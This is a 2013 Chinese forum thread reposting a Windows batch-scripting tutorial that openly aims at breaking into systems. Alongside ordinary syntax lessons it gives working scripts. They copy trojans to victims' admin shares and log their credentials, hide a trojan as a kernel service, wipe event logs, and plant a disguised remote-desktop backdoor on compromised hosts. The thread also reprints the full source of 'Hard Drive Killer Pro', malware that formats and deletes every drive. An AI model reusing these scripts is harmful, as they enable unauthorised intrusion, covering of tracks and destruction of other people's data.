i漂泊

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 5508|回复: 5

windows批处理

[复制链接]
TA的礼物信息
  • 收到:0
  • 送出:2
发表于 2013-4-25 20:40:35 | 显示全部楼层 |阅读模式
        处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批 处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到 的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介
1.echo 命令
            打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
            语法
            echo [{on|off}] [message]
            Sample:@echo off / echo hello world
            在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

相关帖子

回复

使用道具 举报

TA的礼物信息
  • 收到:0
  • 送出:2
 楼主| 发表于 2013-4-25 20:43:32 | 显示全部楼层
二.如何在批处理文件中使用参数
        
           批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
           sample1:fomat.bat
           @echo off
           if "%1"=="a" format a:
           :format
           @format a:/q/u/auotset
           @echo please insert another disk to driver A.
           @pause
           @goto fomat
           这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
           sample2:
           当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
           @echo off
           @net use /1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
           @if errorlevel 1 echo connection failed
           怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.
回复 支持 反对

使用道具 举报

TA的礼物信息
  • 收到:0
  • 送出:2
 楼主| 发表于 2013-4-25 20:43:45 | 显示全部楼层
三.如何使用组合命令(Compound Command)

           1.&

           Usage:第一条命令 & 第二条命令 [& 第三条命令...]

           用这种方法可以同时执行多条命令,而不管命令是否执行成功

           Sample:
           C:>dir z: & dir c:Ex4rch
           The system cannot find the path specified.
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of c:Ex4rch

           2002-05-14 23:51 <DIR> .
           2002-05-14 23:51 <DIR> ..
           2002-05-14 23:51 14 sometips.gif

           2.&&

           Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

           用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

           Sample:
           C:>dir z: && dir c:Ex4rch
           The system cannot find the path specified.

           C:>dir c:Ex4rch && dir z:
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of c:Ex4rch

           2002-05-14 23:55 <DIR> .
           2002-05-14 23:55 <DIR> ..
           2002-05-14 23:55 14 sometips.gif
           1 File(s) 14 bytes
           2 Dir(s) 768,671,744 bytes free
           The system cannot find the path specified.

           在做备份的时候可能会用到这种命令会比较简单,如:
           dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
           如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

           3.||

           Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

           用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

           Sample:
           C:Ex4rch>dir sometips.gif || del sometips.gif
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of C:Ex4rch

           2002-05-14 23:55 14 sometips.gif
           1 File(s) 14 bytes
           0 Dir(s) 768,696,320 bytes free

           组合命令使用的例子:
           sample:
           @copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
回复 支持 反对

使用道具 举报

TA的礼物信息
  • 收到:0
  • 送出:2
 楼主| 发表于 2013-4-25 20:43:55 | 显示全部楼层
四、管道命令的使用

           1.| 命令
           Usage:第一条命令 | 第二条命令 [| 第三条命令...]
           将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

           sample:
           time /t>>D:IP.log
           netstat -n -p tcp|find ":3389">>D:IP.log
           start Explorer
           看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

           2.>、>>输出重定向命令
           将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

           sample1:
           echo hello world>c:hello.txt (stupid example?)

           sample2:
           时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
           运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
           这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
           日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
           这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
           CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如 果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

           3.< 、>& 、<&
           < 从文件中而不是从键盘中读入命令输入。
           >& 将一个句柄的输出写入到另一个句柄的输入中。
           <& 从一个句柄读取输入并将其写入到另一个句柄输出中。
           这些并不常用,也就不多做介绍。
回复 支持 反对

使用道具 举报

TA的礼物信息
  • 收到:0
  • 送出:2
 楼主| 发表于 2013-4-25 20:44:07 | 显示全部楼层
五.如何用批处理文件来操作注册表

           在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后 门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操 作注册表.(我们可以用批处理来生成一个REG文件)
           关于注册表的操作,常见的是创建、修改、删除。

           1.创建
           创建分为两种,一种是创建子项(Subkey)

           我们创建一个文件,内容如下:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

           然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。

           另一种是创建一个项目名称
           那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Invader"="Ex4rch"
           "Door"=C:/WINNT/system32/door.exe
           "Autodos"=dword:02

           这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
           新建了:Invader、door、about这三个项目
           Invader的类型是“String Value”
           door的类型是“REG SZ Value”
           Autodos的类型是“DWORD Value”

           2.修改
           修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

           3.删除
           我们首先来说说删除一个项目名称,我们创建一个如下的文件:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Ex4rch"=-

           执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;

           我们再看看删除一个子项,我们创建一个如下的脚本:

           Windows Registry Editor Version 5.00

           [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

           执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。

           相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

           samlpe1:如上面的那个例子,如想生成如下注册表文件
           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Invader"="Ex4rch"
           "door"=hex:255
           "Autodos"=dword:000000128
           只需要这样:
           @echo Windows Registry Editor Version 5.00>>Sample.reg

           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
           @echo "Invader"="Ex4rch">>Sample.reg
           @echo "door"=5>>C:/WINNT/system32/door.exe>>Sample.reg
           @echo "Autodos"=dword:02>>Sample.reg

           samlpe2:
           我们现在在使用一些比较老的木马时,可能会在注册表的 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、 Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将 木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
           @start windrv32.exe
           @attrib +h +r windrv32.exe
           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
           @echo "windsnx "=- >>patch.dll
           @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
           @regedit /s patch.dll
           @delete patch.dll

           @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
           @REM 这样不是更安全^_^.
回复 支持 反对

使用道具 举报

TA的礼物信息
  • 收到:0
  • 送出:2
 楼主| 发表于 2013-4-25 20:44:32 | 显示全部楼层
六.精彩实例放送
        
           1.删除win2k/xp系统默认共享的批处理
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           @echo preparing to delete all the default shares.when ready pres any key.
           @pause
           @echo off

           :Rem check parameters if null show usage.
           if {%1}=={} goto :Usage

           :Rem code start.
           echo.
           echo ------------------------------------------------------
           echo.
           echo Now deleting all the default shares.
           echo.
           net share %1$ /delete
           net share %2$ /delete
           net share %3$ /delete
           net share %4$ /delete
           net share %5$ /delete
           net share %6$ /delete
           net share %7$ /delete
           net share %8$ /delete
           net share %9$ /delete
           net stop Server
           net start Server
           echo.
           echo All the shares have been deleteed
           echo.
           echo ------------------------------------------------------
           echo.
           echo Now modify the registry to change the system default properties.
           echo.
           echo Now creating the registry file
           echo Windows Registry Editor Version 5.00> c:delshare.reg
           echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
           echo "AutoShareWks"=dword:00000000>> c:delshare.reg
           echo "AutoShareServer"=dword:00000000>> c:delshare.reg
           echo Nowing using the registry file to chang the system default properties.
           regedit /s c:delshare.reg
           echo Deleting the temprotarily files.
           del c:delshare.reg
           goto :END

           :Usage
           echo.
           echo ------------------------------------------------------
           echo.
           echo ☆ A example for batch file ☆
           echo ☆ [Use batch file to change the sysytem share properties.] ☆
           echo.
           echo Author:Ex4rch
           echo Mail:Ex4rch@hotmail.com QQ:1672602
           echo.
           echo Error:Not enough parameters
           echo.
           echo ☆ Please enter the share disk you wanna delete ☆
           echo.
           echo For instance,to delete the default shares:
           echo delshare c d e ipc admin print
           echo.
           echo If the disklable is not as C: D: E: ,Please chang it youself.
           echo.
           echo example:
           echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
           echo delshare c d e x y z ipc admin print
           echo.
           echo *** you can delete nine shares once in a useing ***
           echo.
           echo ------------------------------------------------------
           goto :EOF

           :END
           echo.
           echo ------------------------------------------------------
           echo.
           echo OK,delshare.bat has deleted all the share you assigned.
           echo.Any questions ,feel free to mail toEx4rch@hotmail.com.
           echo
           echo.
           echo ------------------------------------------------------
           echo.

           :EOF
           echo end of the batch file
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           2.全面加固系统(给肉鸡打补丁)的批处理文件
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           @echo Windows Registry Editor Version 5.00 >patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll

           @echo "AutoShareServer"=dword:00000000 >>patch.dll
           @echo "AutoShareWks"=dword:00000000 >>patch.dll
           @REM [禁止共享]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
           @echo "restrictanonymous"=dword:00000001 >>patch.dll
           @REM [禁止匿名登录]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
           @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
           @REM [禁止及文件访问和打印共享]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
           @echo "ShutdownWithoutLogon"="0" >>patch.dll
           @REM [禁止登录前关机]

           @echo "DontDisplayLastUserName"="1" >>patch.dll
           @REM [禁止显示前一个登录用户名称]
           @regedit /s patch.dll

           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
           @regedit /s patch.dll
           @net stop w3svc
           @net stop event log
           @del c:winntsystem32logfilesw3svc1*.* /f /q
           @del c:winntsystem32logfilesw3svc2*.* /f /q
           @del c:winntsystem32config*.event /f /q
           @del c:winntsystem32dtclog*.* /f /q
           @del c:winnt*.txt /f /q
           @del c:winnt*.log /f /q
           @net start w3svc
           @net start event log
           @rem [删除日志]


           @net stop lanmanserver /y
           @net stop Schedule /y
           @net stop RemoteRegistry /y
           @del patch.dll
           @echo The server has been patched,Have fun.
           @del patch.bat
           @REM [禁止一些危险的服务。]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
           @echo "PortNumber"=dword:00002010 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
           @echo "PortNumber"=dword:00002012 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
           @echo "Start"=dword:00000002 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
           @echo "Start"=dword:00000002 >>patch.dll
           @echo "ErrorControl"=dword:00000001 >>patch.dll
           @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
           @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
           @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
           @echo "ObjectName"="LocalSystem" >>patch.dll
           @echo "Type"=dword:00000010 >>patch.dll
           @echo "Descr1ption"="Keep record of the program and windows'' message。" >>patch.dll
           @echo "DisplayName"="Microsoft EventLog" >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
           @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]

3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
           ------------------------ cut here then save as .bat or .cmd file ---------------------------
           @echo off
           rem This program is dedecated to a very special person that does not want to be named.
           :start
           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .
           call attrib -r -h c:autoexec.bat >nul
           echo @echo off >c:autoexec.bat
           echo call format c: /q /u /autoSample >nul >>c:autoexec.bat
           call attrib +r +h c:autoexec.bat >nul
           rem Drive checking and assigning the valid drives to the drive variable.

           set drive=
           set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

           rem code insertion for Drive Checking takes place here.
           rem drivechk.bat is the file name under the root directory.
           rem As far as the drive detection and drive variable settings, don''t worry about how it
           rem works, it''s d*amn to complicated for the average or even the expert batch programmer.
           rem Except for Tom Lavedas.

           echo @echo off >drivechk.bat
           echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 goto enddc >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem When errorlevel is 1, then the above is not true, if 0, then it''s true.
           rem Opposite of binary rules. If 0, it will elaps to the next command.

           echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 goto enddc >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
           rem if errorlevel is 0, then it will elaps to the next command.

           echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem if it''s errorlevel 1, then the specified drive is a hard or floppy drive.
           rem if it''s not errorlevel 1, then the specified drive is a CD-ROM drive.

           echo :enddc >>drivechk.bat

           rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

           rem Now we will use the program drivechk.bat to attain valid drive information.

           :Sampledrv

           for %%a in (%alldrive%) do call drivechk.bat %%a >nul
           del drivechk.bat >nul
           if %drive.==. set drive=c

           :form_del
           call attrib -r -h c:autoexec.bat >nul
           echo @echo off >c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
           echo cd >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Welcome to the land of death. Munga Bunga''s Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat
           echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat
           echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat
           echo echo 2. Love is important, if you have it, truly, don''t let go of it like I did! >>c:autoexec.bat
           echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I''m glad your HD is dead. >>c:autoexec.bat
           echo echo 4. Don''t support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat

           echo echo. >>c:autoexec.bat
           echo echo Regards, >>c:autoexec.bat
           echo echo. >>c:autoexec.bat
           echo echo Munga Bunga >>c:autoexec.bat
           call attrib +r +h c:autoexec.bat

           :makedir
           if exist c:temp.bat attrib -r -h c:temp.bat >nul
           echo @echo off >c:temp.bat
           echo %%1: >>c:temp.bat
           echo cd >>c:temp.bat
           echo :star** >>c:temp.bat
           echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat
           echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat
           echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto star** >>c:temp.bat
           call attrib +r +h c:temp.bat >nul

           cls
           echo Initializing Variables . . .
           rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
           for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           echo Analyzing System Structure . . .
           for %%a in (%drive%) call attrib -r -h %%a: /S >nul
           call attrib +r +h c:temp.bat >nul
           call attrib +r +h c:autoexec.bat >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           echo Analyzing System Structure . . .
           echo Initializing Application . . .

           for %%a in (%drive%) call deltree /y %%a:*. >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           echo Analyzing System Structure . . .
           echo Initializing Application . . .
           echo Starting Application . . .
           for %%a in (%drive%) do call c:temp.bat %%a Munga >nul

           cls
           echo Thank you for using a Munga Bunga product.
           echo.
           echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
           echo.
           echo Here is a joke for you . . .
           echo.
           echo Q). What''s the worst thing about being an egg?
           echo A). You only get laid once.
           echo.
           echo HAHAHAHA, get it? Don''t you just love that one?
           echo.
           echo Regards,
           echo.
           echo Munga Bunga

           :end

           rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
           rem Author: Munga Bunga - from Australia, the land full of retarded Australian''s (help me get out of here)
用批处理命令实现FTP文件的自动传输
          由于工作的原因,每天需要在Windows操作系统之间或与其它操作系统如UNIX等利用FTP进行文件传输。经常重复这样的工作程序,即繁琐又容易出 错。本人经过思考摸索,在Windows操作系统的“任务计划”帮助下,成功地用批处理命令实现FTP文件的自动传输。现将此操作过程详解,希望对同好有 所帮助,更望能抛砖引玉,提出更好的方法。

          假设本机操作系统为Windows操作系统,需进行文件传输的目录为C:\datatran;对方计算机操作系统为UNIX操作系统,IP地址为 10.30.15.3,需进行文件传输的目录为C:\data,登录用户名为Anonymous,口令为123456。从本机到对方机接收文件操作方法如 下。

          第一步,先新建一个文本:

          Open 10.31.15.3

          User anonymous

          123456

          Cd data

          Bin

          Prompt

          Mget *.*

          Bye

          Quit

          Exit

          将该文本保存为1.ftp存放到C盘根目录。该文件只要扩展名为ftp,前缀可任意取名。目录也不一定要在根目录,主要以方便为主。文本中Bin为用黑吧 码格式传输文件,如用ASCII码格式传输文件可去掉该行。如为本机向对方机发送文件,则只要将文本中的Mget替换成Mput即可。这之后,再新建另一 个文本:

          C:

          Cd datatran

          ftp–n–s:”c:\1.ftp”

          新建完毕后将该文本保存为1.bat后存放在硬盘任何分区或软盘中均可。这样,第一步工作已经完成,您随时可以执行该批处理文件进行FTP文件的传输。

          第二步,将该该批处理文件放在“任务计划”中设定自动运行。方法是:打开“开始”菜单“程序”下“附件”中的“系统工具”,点击“任务计划”,执行“添加 任务计划”,按“任务计划向导”提示将该批处理文件添加到任务计划中,并指定执行周期,之后再设下密码后即完成。从此,计算机会根据您的设定,自动周期性 地进行文件接收或发送,不再需要您动一下手指,真正做到它工作,您休息。

          另外,如果是Windows操作系统之间进行FTP进行文件传输,只要去掉1.ftp中“Bin”一行就可以了.
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|IPiaoBo Inc. ( 渝ICP备17002826号 )

GMT+8, 2024-4-16 19:20 , Processed in 0.077084 second(s), 79 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表